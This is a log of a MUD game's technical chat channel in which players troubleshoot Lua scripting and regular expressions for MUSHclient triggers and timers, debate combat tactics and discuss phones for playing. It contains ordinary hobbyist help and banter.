T3/r7/2013-05-28.txt.gz:{chan ch=tech}Book of Etzli Tech: Yeah, I got super bored, wrote everything in Lua...
T3/r7/2013-05-28.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: Last Quest Time (0h 0M 21s) Rewards : 10+2+1 = 13 QP 2734 Gold
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Book of Etzli Tech: Why have 'h' there? No quest is going to take you an hour.
T3/r7/2013-05-28.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: i dunno bored
T3/r7/2013-05-28.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: cannot be bothered removing it
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Tech: Book of Etzli snickers softly.
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Tech: could...The Administrator tells you 'You have 60 minutes to complete your quest.'
T3/r7/2013-05-28.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: which reminds me i prob should redo my campaign one day
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Book of Etzli Tech: Yes, but by the time that 60 minutes is up, your quest is failed, so really, you couldn't complete a quest in 60 minutes.
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Tech: nah, you could get it in under the wire
T3/r7/2013-05-28.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: lol
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Book of Etzli Tech: But would it equal 60 minutes?
T3/r7/2013-05-28.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: dam needs work Last Campaign Time (0h 4M 44s) Mobs (10)  Rewards 26 Qp  8811 Gold 
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Book of Etzli Tech: Or 59 minutes and xx seconds? :p
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Tech: I'd have to look back to see the last quest I let expire, but I think it's on the tick like other quest times, which would allow it to be 60 mins, yes
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Book of Etzli Tech: Hmm. Fair enough.
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Sonshi Tech: wouldn't it fail once your qt would have hit 0? That is, it goes from 1 to fail.
T3/r7/2013-05-28.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: is there any reason in my plugin why one of the triggers wont call one of the functions in the script file?
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Tech: it wouldn't undercut your time, so if it's on tick, it would be 60 full minutes and then the next tick
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Tech: what does it do, and are you sure the trigger is firing?
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Sonshi Tech: it probably does undercut your time though... if you request just a second before a bi-tick and get 60qt, it will go down to 59qt in a second.
T3/r7/2013-05-28.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: yeah trigger is firing but the function only seems to work when i put it in the actual trigger but doesent use it when i put it in the script file
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Tech: no it wouldn't
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Tech: and qtimer does run out on a tick
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Sonshi Tech: yes, if it fails on the bi-tick after 1qt instead of going to 0qt first, then it's less than the stated time... never noticed if it went to 0 first or failed after 1qt though.
T3/r7/2013-05-28.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: can someone help me with http://pastebin.com/4e8Ja5dZ im not sure what im doing wrong
T3/r7/2013-05-28.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: anyone?
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: 1) escape the brackets in your regex. 2) tell people wtf is not working and what you would like to have happen
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: actually, that bracket shouldn't be escaped... but why is it surrounded by []?
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Book of Etzli Tech: No need to escape the brackets...
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: correction, yes it should, there was another closing hiding in there. Still, [)] will do funky things
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Book of Etzli Tech: The [)] is to match the ddd) in rank 15.
T3/r7/2013-05-28.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: im trying to string.lower %2 so that i can refer to that section in the table but its givving me a whole heap of errors
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Book of Etzli Tech: It should just be \).
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: I don't mean the capturing brackets Etzli, I mean that stray [)], which should be escaped
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Tech: Book of Etzli nods at Captain HR Vakieh.
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Book of Etzli Tech: \s+\d+\)\s(\w+)\s+\w+\s+\d+\s+\d+\s+(\d+) -- that's my regex for rank 15...
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Book of Etzli Tech: But I don't capture the .dd bit.
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Book of Etzli Tech: Easy to add, however.
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: http://www.regular-expressions.info/ and http://regexpal.com/ ftw!
T3/r7/2013-05-28.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: i have no problem with the capture, its the converting it
T3/r7/2013-05-28.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: so that it will refer to the right section
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: I like to use ?<capturename> myself - makes things nice and easy, and less prone to screwing up capture indices
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Book of Etzli Tech: So you're saying it doesn't lowercase the 2nd parameter?
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Tech: Book of Etzli nods at Captain HR Vakieh.
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: ?<capturename> won't work on regexpal though, you need to add that afterwords in Mush
T3/r7/2013-05-28.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: it does, but when i try to use that lowered parameter, it tells me there is no six variable to be referenced
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Book of Etzli Tech: Oh, because you're using it incorrectly.
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Book of Etzli Tech: x.six, it's looking for the name 'six'.
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Book of Etzli Tech: You need to use x[six]
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Book of Etzli Tech: So in your case, ClanStats[six]
T3/r7/2013-05-28.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: oh so the [] indicate its a variable?
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Book of Etzli Tech: Otherwise, it thinks 'six' is a key in your ClanStats table.
T3/r7/2013-05-28.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: oh okay thanks
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: I never use the send portion for anything more than a literal send. Do you need to use the wildcards[] format in a send block?
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Book of Etzli Tech: And really, it should be ClanStats[six]["ExploredPercent"]
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Book of Etzli Tech: Not ClanStats[six].["ExploredPercent"]
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Book of Etzli Tech: But yeah, your regex is a mess.
T3/r7/2013-05-28.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: yay another errorr.. [string "Trigger: Rank15Trig"]:4: '<name>' expected near '['
T3/r7/2013-05-28.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: im trying to fix one of abelincs scripts
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Book of Etzli Tech: Why not skip all the hubbaloo and just do: ClanStats[string.lower("%2")]["ExploredPercent"]?
T3/r7/2013-05-28.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: okay will try that
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Book of Etzli Tech: ExploredPerc, whatever.
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: why not just use ClanStats[6] = {}, ClanStats[6].["name"] = "%2":lower(),  ClanStats[6].["ExploredPercent"] = "%6"
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Book of Etzli Tech: Vakieh...
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: 6 can be a variable holding a running count also, so 1-10 can fill with the same code as you increment
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Tech: [Outlaw] Remarto forces a gag into Captain HR Vakieh's mouth.  Ahhh, blessed quiet.
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Unless I completely misunderstood exactly what you're trying to accomplish
T3/r7/2013-05-28.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: yeah you did
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Book of Etzli Tech: He wants ClanStats["name of player"]["exploredperc"]
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Book of Etzli Tech: So he can pull up "ClanStats.remarto.exploredperc" to show his explored percentage.
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Book of Etzli Tech: Dictionary tables ftw!
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Ok, so why use a 2d array when a list of objects makes more practical sense?
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Tech: [Outlaw] Remarto grins evilly.
T3/r7/2013-05-28.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: it works now, i dont really care what makes more sense aslong as it works
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Tech: Book of Etzli snickers softly.
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Nothing worse than learning bad habits early on... will bite you in the backside down the track - like when you want to do some sorting or whatnot
T3/r7/2013-05-28.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: as i said im fixing a downloaded plugin so i dont understand how half of it works
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Book of Etzli Tech: I do excellent sorting with my dictionary tables.
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Book of Etzli Tech: My mafia database, for instance.
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Book of Etzli Tech: mafstats["Etzli"]["CitizenWins"], etc.
T3/r7/2013-05-28.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: yeah would be nice to be able to look at that and how you collect the data
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Book of Etzli Tech: I can sort all that by top wins.
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Book of Etzli Tech: [Top Ten in Mafia Wins] 1) Trurien (102) 2) Jhav (63) 3) Liathum (60) 4) Krypteria (54) 5) Electrobite (52) 6) Kalista (51) 7) Amie (49) 8) Vanion (41) 9) VelvetLies (40) 10) Leges (39) 
T3/r7/2013-05-28.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: aww im not in there
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Book of Etzli Tech: The Mafia data, I collect via Mafia board.
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Book of Etzli Tech: [Mafia Stats] Remarto: Mafia (W:7/P:20), Vigilante (W:2/P:4), Police (6), Doctor (8), and Citizen (W:12/P:29). Alive/Games played: 25/67 (37.31%). Team wins (M/C): 8/17.
T3/r7/2013-05-28.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: oh not far off top 10 then
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Book of Etzli Tech: Eh, you're closer on vigilante than you are mafia. ;)
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Book of Etzli Tech: [Top Ten in Vigilante Wins] 1) Trurien (10) 2) Liathum (5) 3) Krypteria (5) 4) Katta (4) 5) Lemontree (3) 6) Electrobite (3) 7) Sybacco (3) 8) Gunsnroses (2) 9) Ade (2) 10) Etzli (2) 
T3/r7/2013-05-28.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: lol
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Kagaho Tech: i wonder why we cant use 2. 3. etc for targeting mobs
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Book of Etzli Tech: You can.
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Kagaho Tech: oh?
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Book of Etzli Tech: 'bs 2.guard', etc.
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Kagaho Tech: not what i meant hehe
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Kagaho Tech: i mean how im 1 since im walking and cme to rom and everything else is 2. 3. 4. etc
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Kagaho Tech: makes for faster killing just used to it is all
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Tech: then the answer is simple, no need to further make it easier to bot
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Redryn Tech: that makes botting kinda easy
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Tech: you should know what you're killing
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Book of Etzli Tech: Why not just make it bot-friendly and give every mob the keyword 'mob'? :p
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Kagaho Tech: know what im killing when i see but i like having my hand on my numpad
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Tech: you don't know what you're killing if you can't be bothered to tell the MUD
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Book of Etzli Tech: So do I. It's why I've remedied that. ;)
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Tynrael Tech: anybody use a plugin that gives an indication of how many mobs in the room and what their hp levels are?
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Redryn Tech: macro an area attack spell
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Tech: You nod at Redryn.
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Tech: you'd need to keep using "study" in order to have any indication of the MOB HP levels...
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Tech: you only get the general health of the one you're currently aiming
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: It is non-trivial to script around the keyword issue, but it is doable.
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Tech: and other than a database running off either past experience or interrogate, you wouldn't know that a MOB has 1000 HPs, rather than "is at 100%"
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: All it takes is knowing the damage of 1 round with % change to calculate hps
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Tech: pretty large slop margin with that method, but if it's good enough for you :-)
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Tech: Book of Etzli nods at you in agreement. 
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Book of Etzli Tech: I care more about their level than hp.
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Tynrael Tech: study is fine, I was just curious if there was something that would make it easier to see if I AoE bomb a room what targets are taking more damage to focus on etc... 
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Tech: I generally wouldn't recommend area attacking
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Tynrael Tech: i've been trying to get better at it, its usually much more involved to stay alive  =)
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: in 99% of cases, the lower level mob will have lower hp - look at the damage your spell does to see if something is taking more from a particular dtype and go from there
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Tech: chain-killing using non-aoe will be faster as well as safer...attack the next target before the first is dead
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Tech: then you get the rollover damage and don't lose any time, but are using the more-damage-giving spells, and wasting less time quaffing
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Sonshi Tech: requires more attention than just stacking a room though...
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Book of Etzli Tech: Not sure about "faster"... charge does a good job of clearing a room faster than I can backstab each mob.
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Tech: you're a T4 pthief
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Tech: Book of Etzli snickers softly.
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Tech: that's not the same as a SC psi
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Tech: my advice is generally "until you're of an experience and power level that you can discern WHEN it's a good time to ignore my advice, you should listen to it" ;-)
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: My advice is to have fun...
T3/r7/2013-05-28.txt.gz:{chan ch=tech}RedRain Tech: fun BAH!
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Sonshi Tech: oh, but pre-sh low tier, yeah, chain attacks are better than area
T3/r7/2013-05-28.txt.gz:{chan ch=tech}RedRain Tech: the only slight anomaly may be high luck/dex/str high tier, assassin ... it levels very well even through 1-199.
T3/r7/2013-05-28.txt.gz:{chan ch=tech}RedRain Tech: but its a slight different mob selection etc.
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Tynrael Tech: well as a newbie Psi direct definitely works better and is much safer for me, I just figured if I could AoE and pick off low hp singles at a certain point it might become more efficient 
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Tynrael Tech: but I think i'll stick with single and stay alive
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Tech: aim an attack at the next guy in the room a round or two before the first one dies
T3/r7/2013-05-28.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: okay ive got a table full of tables how would i sort that table buy the contents of the tables
T3/r7/2013-05-28.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: by*
T3/r7/2013-05-28.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: is there a way to sort subtables by a common value?
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Tymas Tech: Anybody want to teach my how to do advanced triggers on mush? (I'm very good in zMud)
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Nuanse Tech: ctrl-shift-alt-L
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Gammon has youtube videos - for everything else, there's Lua
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Alucard Tech: which phone is best for mudding?
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Nuanse Tech: one with ability to connect to the mud
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: i guess a physical keyboard would help
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Daloran Tech: whichever one you can tether your laptop to.
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Alucard Tech: gonna buy one from work, we arent allowed to use computers from work.
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Daloran Tech: then its unlikely you should be mudding from a phone at work either
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Alucard Tech: I-phone 5 any good?
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Alucard Tech: anyone tried it
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Daloran Tech: iPhone. not I-phone
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Alucard Tech: i guess ill ask someone with knowledge.
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Among other things, I sell phones for a living. If you are afraid of learning, get the iPhone 5. If you want the ability to control wtf is going on with your phone, get the SIV
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Abernacky Tech: I'm 
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Alucard Tech: thanks vak
T3/r7/2013-05-28.txt.gz:{chan ch=tech}<SneakY> Slyzora Tech: can i tether my bb with blaupunkt 7inch tablet though wi-fi?
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Can you turn your blackberry into a hotspot? If so, then yes.
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: But blackberry is dead :-(
T3/r7/2013-05-28.txt.gz:{chan ch=tech}<SneakY> Slyzora Tech: wow! cool my bb got hotspot on os 7.1
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Daloran Tech: Blackberry is very much not dead, Vak.
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: If you can hotspot, you can tether - just be aware some networks detect it, and either block, throttle, or charge insane prices
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Abernacky Tech: I'm trying to find how to create a touch screen button in Blowtorch for inputting the enter command , for paging ? 
T3/r7/2013-05-28.txt.gz:{chan ch=tech}<SneakY> Slyzora Tech: ok ty, ill test it with the tablet at the shop before i buy it
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Daloran, much like Delphi, yes, it still exists - it might make a sale once in a while - but it's still dead.
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Daloran Tech: Ab.. does #CR work in blowtorch?
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Daloran Tech: Vak... No it's not. What do you base that on?
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: The critical drop in sales revenue, which of course leads to a drop in available assets for R&D, which in today's electronics market = dead
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Their only hope is a Nokia merger
T3/r7/2013-05-28.txt.gz:{chan ch=tech}<SneakY> Slyzora Tech: bb is very popular here
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Tymas Tech: how can I make an autohealer script?
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Prompt trigger, or gmcp
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Tymas Tech: Rather, how can I make a variable to detect my current hp
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Abernacky Tech: #cr doesn't seem to do anything 
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Ixle Tech: Tymas, you can just use the GMCP data sent by the mud to Mushclient. I'm someone who uses MC will shortly tell you how to do that.
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Daloran Tech: As of march, looks like they were up about $100 mil, vak.
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Tymas Tech: Hmm
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: http://en.wikipedia.org/wiki/BlackBerry_(company)#Financials
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Dat operating income drop
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Daloran Tech: yeah that article in wikipedia is a bit off.
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Daloran Tech: The referenced site for the sales numbers only goes up to early 2011.
T3/r7/2013-05-28.txt.gz:{chan ch=tech}<SneakY> Slyzora Tech: Vakieh does the internet speed gets slower when tethering?
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: That's what I meant by throttling - some networks detect tethering and actively slow it down
T3/r7/2013-05-28.txt.gz:{chan ch=tech}<SneakY> Slyzora Tech: oh i see , ty
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Tymas Tech: I meant on mushclient, how can i track my hp
T3/r7/2013-05-28.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: is there a way to sort subtables by there values?
T3/r7/2013-05-28.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: is there a way of sorting subtables by common values, please say there isnt if there isnt
T3/r7/2013-05-28.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: don't understand what you mean...
T3/r7/2013-05-28.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: i want to sort a table of tables by the values in thoes tables
T3/r7/2013-05-28.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: assuming you mean a dictionary, then it's impossible to sort them by anything
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Tech: [Outlaw] Remarto mutters something quietly to himself.
T3/r7/2013-05-28.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: i dunno what you mean by library
T3/r7/2013-05-28.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: dictionary*
T3/r7/2013-05-28.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: is your table indexed or keyed?
T3/r7/2013-05-28.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: keyed
T3/r7/2013-05-28.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: then by definition it has no order
T3/r7/2013-05-28.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: so to sort it id have to make it indexed?
T3/r7/2013-05-28.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: what are you trying to do exactly?
T3/r7/2013-05-28.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: okay i have list of names, each has a table attacked to it all in the one table, but each subtable has the same "keys" but different values, i want to sort the names by the values
T3/r7/2013-05-28.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: remarto: try something like this: http://pastebin.com/auCt0iRz
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Sonshi Tech: is there any way to make aardmush autosave? Keep losing changes when my computer hangs...
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Tech: yup
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Sonshi Tech: well... couldn't find anything like that in preferences...
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Tech: you'd set a timer to do it
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Scars Tech: it seems like the real answer to his question is "no, not without code"
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Scars Tech: pretty sure he was looking for a checkbox to say "auto-save every X minutes"
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Sonshi Tech: oh. So no easy way?
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Tech: he didn't say without any code, and it's a VERY easy way...
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Scars Tech: easy is a relative thing... if you don't even know how to make a timer...
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Sonshi Tech: well, I don't see anything about saving in timers...
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Tech: if you don't know how to make a timer, you should quit. seriously.
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Scars Tech: up top, in the window, there's a "timers" option
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Sonshi Tech: it's VERY easy, all you have to do is to take the one ring, travel into mordor...
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Scars Tech: suppose i should quit ;)  I have never had a need for a timer
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Tech: how to make THIS timer is simply a matter of knowing what function to put there
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Tech: not having need for one is not the same as "can't figure out how to make a timer"
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Sonshi Tech: it's very easy, all I need to know is how to do it, I suppose.
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: I suggest youtube videos as an entry point - never quitting: http://www.youtube.com/user/Jainh872
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Scars Tech: i have no idea what function i'd use to save my settings tho, so while i could create a timer (which is pretty straightforward)... i'd end up having to google or use this channel to figure out what to do next
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Tech: when you're in world config and see something called "timers", with a button that says "add", and when you click it, there's a place to set hours, minutes and seconds, then you're a moron if you can say that you can't figure out how to make a timer
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: That is Nick Gammon's (the programmer for Mushclient) uploads, including some very nifty and expertly explained mushclient tutorials.
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Tech: you didn't say this timer, you said don't know how to make timers
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Scars Tech: i didn't even know "timers" were an available thing until now
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Sonshi Tech: I can't seem to make it send ctrl-s...
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Tech: world.docommand "Save" is what the helpfile on "Save" says
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Sonshi Tech: eh, trying help in mushclient just gives me an error... so execute "world.docommand "Save""?
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Scars Tech: i think you'd want note
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Tech: send to script
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Scars Tech: wups
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Tech: and read the error that trying help gives you, sonshi...
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Tech: that error as well is trivial to fix
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Tech: http://support.microsoft.com/kb/917607
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Sonshi Tech: yeah, I need to download something from microsoft. Been putting it off
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Tech: now you won't have to suffer with lack of helpfiles (although the entire helpfiles are on gammon's site in html as well, so c'mon)
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Sonshi Tech: so I sent that to script, and got Run-time errorWorld: AardwolfImmediate execution[string "Timer: "]:1: attempt to call field 'docommand' (a nil value)stack traceback:        [string "Timer: "]:1: in main chunk
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Elkore Tech: you typed something wrong!
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: That would be M$'s silliest decision ever - let's make everyone upgrade to this better tool (a good idea) by breaking the existing tool (the dumb idea)
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Lua is case sensitive: it is DoCommand()
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Scars Tech: M$'s silliest decision ever was to take a mobile OS and put it on PCs and laptops
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: doCommand, docommand and DoCOMManD will all fail
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Sonshi Tech: oh. I just copied and pasted. heh
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: The Functions list in the Mushclient help menu is seriously the tits for this sort of thing
